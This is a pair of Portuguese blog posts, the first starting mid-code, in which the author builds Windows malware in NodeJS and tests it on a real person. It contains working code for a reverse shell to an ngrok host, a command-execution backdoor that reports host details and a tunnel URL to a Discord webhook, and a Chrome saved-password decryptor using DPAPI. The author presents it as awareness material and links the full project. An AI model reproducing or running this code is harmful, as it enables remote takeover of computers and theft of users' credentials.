    .find((dir) => dir.indexOf("app-") > -1)

  const fullPath = discordPath + dir + "\\Discord.exe"
  require("child_process").spawnSync(fullPath)
}
```

### 2 - Criar uma conexão reversa no computador da vítima com a minha máquina de ataque.

![alt](/rev-chrome/reverse-flow.png)

Quando a vítima executar o arquivo, o vírus utilizará um módulo nativodo NodeJS para criar uma conexão TCP com a minha máquina de ataque. Para isso ocorrer, é necessário que a máquina de ataque esteja aguardando essa conexão em alguma porta. Para isso, utilizo um software no linux chamado [NC](https://manpages.ubuntu.com/manpages/bionic/man1/nc_openbsd.1.html) pelo terminal.

```bash
$ nc -lnvp 3000
```

Para expor essa minha porta na internet, utilizo a lib [Ngrok](https://www.npmjs.com/package/ngrok) que cria um tunnel da porta 3000 para uma URL publica.

O código executado pelo vírus fica mais ou menos assim:

```javascript
const HOST = "ngrok.tcp.host"
const PORT = "ngrok.tcp.port"

const net = require("net"),
  cp = require("child_process"),
  sh = cp.spawn("cmd", [])

const client = new net.Socket()

client.connect(PORT, HOST, function () {
  client.pipe(sh.stdin)
  sh.stdout.pipe(client)
  sh.stderr.pipe(client)
})
```

Assim que a conexão for feita, do terminal da minha máquina de ataque, terei acesso ao terminal da máquina da vítima. Tudo o que o usuário que executou o vírus puder acessar, também poderei acessar pelo meu terminal, criando assim uma conexão reversa.

### 3. Criar um backdoor no computador da vítima.

![alt](/rev-chrome/backdoor.png)

Existem diversas formas de abrir um backdoor na máquina de uma vítima. Escolhi esse fluxo para tentar assemelhar ao máximo com o funcionamento de uma API comum. Nesse caso, o vírus cria uma API na máquina da vítima, com uma rota que receberá comandos pela query string, que serão executados no terminal. Para ter acesso a essa API através da internet, o vírus cria um tunnel na porta da API e depois envia através do Discord a URL publica que será usada na invasão.

Código:

````javascript
const os = require("os")
const express = require("express")
const simpleExec = require("simple-exec")
const localtunnel = require("localtunnel")
const { Webhook } = require("discord-webhook-node")

const app = express()

const createTunnel = async (port) => {
  return localtunnel(port)
}

exports.back = (port, webhookUrl) => {
  const webhook = new Webhook(webhookUrl)

  app.get("/cmd", (req, res) => {
    const { exec } = req.query

    const result = simpleExec.executeSync(exec)

    if (result.error) {
      res.send({ response: result.error })
    } else {
      res.send({ response: result.output })
    }
  })

  app.listen(port, async () => {
    const tunnel = await createTunnel(port)
    webhook.send(
      "```" +
        `OS Name: ${os.hostname()}\nOS Username: ${os.userInfo().username}\nOS UID: ${os.userInfo().uid}\nOs Home Directory: ${
          os.userInfo().homedir
        }\nOS Platform: ${os.platform()}\nLink: ${tunnel.url}` +
        "```"
    )
  })
}
````

### 4. Roubar as credenciais salvas no [Chrome](https://nulldreams.com/posts/chr0m3-p4ssw0rd$).

Aqui eu basicamente faço o que fiz no [post anterior](https://nulldreams.com/posts/chr0m3-p4ssw0rd$) a única diferença é que eu envio um webhook para o meu canal do Discord com as credenciais capturadas.

Como passo final, utilizo a lib [pkg](https://github.com/vercel/pkg) para gerar um executável a partir dos meus arquivos javascript.

> No final do post tem o link do respositório.

---

Para provar que o vírus funciona em qualquer máquina Windows (que não seja a minha de testes), resolvi testar com uma pessoa real.

> Depois do teste eu expliquei do que se tratava e a pessoa concordou em deixar publicar os prints. Mas claro, escondi as informações sensíveis.

![alt](/rev-chrome/rev1.png)

Assim que ele executou a aplicação, comecei a receber os Webhooks com as informações capturadas:

1 - Informações sobre a máquina da vítima.
![alt](/rev-chrome/rev2.png)

2 - Conexão reversa.

Em uma aba executei o comando para deixar em modo de escuta a porta 3000.

```bash
$ nc -lnvp 3000
```

Em outra aba, criei o tunnel da minha porta 3000.
![alt](/rev-chrome/ngrok.png)

Assim que a conexão foi feita, rodei dois comandos direto na máquina da vítima. Um para descobrir qual o nome do usuário logado e o outro para listar o ip (mesmo que seja o ip local).

![alt](/rev-chrome/nc.png)

3 - Backdoor.
![alt](/rev-chrome/browser.png)

4 - Senhas salvas no Chrome que foram capturadas...
![alt](/rev-chrome/rev3.png)

---

### Conclusão.

Tomem muito cuidado com arquivos que baixados da internet. Principalmente de e-mails, existem milhares de agentes malicioso que disparam e-mails em massa com campanhas de Phishing com arquivos PDF, XLS, etc ... que por trás dos panos podem estar roubando informações de sua máquina.

Imaginem o estrago que esse vírus poderia fazer, se na máquina da vítima tivesse alguma senha de banco salva. Ou pior, se o vírus criasse um backdoor em forma de serviço, de modo que o atacante pudesse acessar a máquina sempre que a vítima se conectasse na internet. Ele teria tempo suficiente para explorar a máquina e criar um script que faz um scrap de sites como Caixa, Itaú, etc.. e conseguiria fazer transações PIX, TED ou qualquer outro tipo.

Tomem cuidado e espero ter conseguido demonstrar com clareza os passos que segui para estudar e criar o malware.

Projeto no Github: https://github.com/nulldreams/bypassjs


“Door on your left. [Neo goes right] Your other left!“

bWFsd2FyZQ==


É comum esquecermos de senhas. Principalmente quando elas preenchem os requisitos atuais de segurança (caracteres especiais, números, letras, etc ...)

Alguns optam por utilizar softwares que funcionam como um banco pessoal de senhas, outros preferem salvar as informações de contas e cartões no próprio navegador.

Partindo desse principio, comecei a tentar entender como o Chrome salva e protege essas senhas. Pesquisando no Google, consegui descobrir algumas informações sobre o fluxo de registro das senhas no Chrome:

- O Chrome criptografa as senhas utilizando o algoritmo AES-256-GCM. Para descriptografar, é necessário ter essas informações:

  1. _Encrypted Key_ - Chave de segurança
  2. _Initial Vector_ - Segunda chave de segurança, isso garante que mesmo criptografando a mesma senha, utilizando a mesma Encrypted Key, não teremos o mesmo resultado.
  3. _Authentication Tag_ - Uma terceira camada de segurança, geralmente ela é concatenada no fim da senha criptografada.

- As senhas salvas ficam em um arquivo SQLite
- O Chrome salva a encryption key, dentro de um arquivo json
- O Chrome utiliza uma API nativa do Windows para gerar a encrypted key.

Algumas informações sobre a estrutura das senhas criptografadas:

- As senhas criptografadas possuem um prefixo de 3 bytes "v10"
- O IV (initial vector), possui 12 bytes.
- A tag de autenticação possui 16 bytes.
- A string da senha criptografada (ciphertext) está entre o iv e a tag de autenticação

Com todas essas informações em mãos, comecei a escrever um código para ler esses arquivos e tentar descriptografar essas senhas. Fiquei nisso uns 3 dias, pois a linguagem que eu escolhi para criar o script, ela não tem acesso nativamente à API do Windows. Criei várias PoC para tentar acessar a dll de criptografia do Windows, mas nenhuma me deu acesso a 100% das funções do Windows.

Até que encontrei um [artigo](https://nodejs.org/api/addons.html) sobre como o NodeJS pode executar códigos escritos em C++. Essa foi a saída perfeita. Comecei a escrever uma lib para fazer interface com o Windows, mas no meio das pesquisas acabei encontrando um [repositório no git que já possuia uma lib parecida](https://github.com/daguej/node-dpapi).

Escrevi a seguinte PoC:

```javascript
import fs from "fs"
import crypto from "crypto"
import sqlite3 from "sqlite3"

const dpapi = require("win-dpapi")

const LOCAL_STATE = process.env.LOCALAPPDATA + "\\Google\\Chrome\\User Data\\Local State"
const LOGIN_DATA = process.env.LOCALAPPDATA + "\\Google\\Chrome\\User Data\\Default\\Login Data"

const captureSecretKey = (localState: string) => {
  const stateObject = JSON.parse(fs.readFileSync(localState, "utf-8"))
  const buff = Buffer.from(stateObject.os_crypt.encrypted_key, "base64")
  const buffWithout = buff.filter((value, index, arr) => index > 4)
  const key = dpapi.unprotectData(buffWithout, null, "CurrentUser")

  return key
}

const decryptPassword = (encryptedPassword, key) => {
  const prefix = encryptedPassword.slice(0, 3)
  const iv = encryptedPassword.slice(3, 15)
  const ciphertext = encryptedPassword.slice(15, encryptedPassword.length - 16)
  const authTag = encryptedPassword.slice(encryptedPassword.length - 16)
  const decipher = crypto.createDecipheriv("aes-256-gcm", key, iv)

  decipher.setAuthTag(authTag)

  const decryptedCookie = Buffer.concat([decipher.update(ciphertext), decipher.final()])

  return decryptedCookie.toString("utf-8")
}

const main = async () => {
  await fs.copyFileSync(LOCAL_STATE, "state.json")
  await fs.copyFileSync(LOGIN_DATA, "database.db")

  const db = new sqlite3.Database("database.db")
  const key = captureSecretKey("state.json")

  db.serialize(() => {
    db.each("SELECT origin_url, username_value, password_value FROM logins", (err, row) => {
      console.log({
        site: row.origin_url,
        username: row.username_value,
        password: decryptPassword(row.password_value, key),
      })
    })
  })
}

main()
```

Resultado:

```bash
yarn run v1.22.17
$ ts-node -r tsconfig-paths/register teste.ts
{
  site: 'http://site.com/login',
  username: 'teste',
  password: 'teste'
}
```

PoC finalizada e aprovada. Nos próximos posts, vou mostrar como eu criei um malware (que até então, não está sendo identificado pela maioria dos anti-vírus) utilizando o código acima e mais alguns recursos, com o intuito de mostrar como deixar as senhas salvas no Chrome pode ser um risco muito grande.
